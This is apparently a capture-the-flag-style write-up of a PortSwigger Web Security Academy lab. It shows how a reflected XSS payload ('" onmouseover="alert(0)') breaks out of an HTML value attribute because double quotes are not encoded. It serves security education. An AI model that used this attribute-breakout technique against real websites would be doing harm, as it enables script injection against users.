Reflected XSS — Attribute Injection via Broken HTML Context¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | Reflected Cross-Site Scripting (XSS) — Attribute Context |
| Difficulty | Apprentice |
| Injection Point | search query parameter — reflected in value attribute |
| Goal | Break out of the attribute context and inject an event handler |
Phase 1 — Identifying the Injection Context¶
We find the familiar blog with a search bar.
Searching for <marquee>teto</marquee> and inspecting the HTML:
<input type="text" placeholder="Search the blog..." name="search"
value="<marquee>teto</marquee>">
The angle brackets < and > are HTML-encoded as < and > — tag injection is blocked. The input is reflected inside a quoted attribute value (value="..."), not as free HTML. A different escape strategy is needed.
Phase 2 — Breaking Out of the Attribute Context¶
Double quotes are not encoded. Injecting " closes the value attribute early:
<input ... value="" "="">
The value attribute is now closed after the empty string. The stray " creates a broken attribute, which the browser still parses as part of the tag. This is the escape needed to inject new attributes.
Phase 3 — Injecting an Event Handler¶
Since we can close value="..." and inject content the browser interprets as HTML attributes, we inject a JavaScript event handler:
" onmouseover="alert(0)
The resulting HTML:
<input type="text" placeholder="Search the blog..." name="search"
value="" onmouseover="alert(0)">
Moving the mouse over the search input triggered the alert. Lab solved.
Why This Works — The Payload Breakdown¶
<!-- What we sent -->
" onmouseover="alert(0)
<!-- What the browser received and parsed -->
<input value="" onmouseover="alert(0)">
<!-- ↑ ↑
Our injected " The application's original closing "
closes value="" completes our onmouseover="alert(0)" -->
The application's own closing " that it places after the value attribute completes our injected onmouseover="alert(0)" — we don't need to close it ourselves. The surrounding HTML completes the payload.
Conclusion¶
- Angle brackets in the search input were HTML-encoded — tag injection was blocked.
- The input was reflected inside a quoted
value=""attribute — the injection context was an attribute, not free HTML. - Double quotes were not encoded — injecting
"closed thevalueattribute early. " onmouseover="alert(0)injected a new event handler attribute on the<input>element; the application's own closing"completed the handler string.- Mousing over the search box triggered the alert.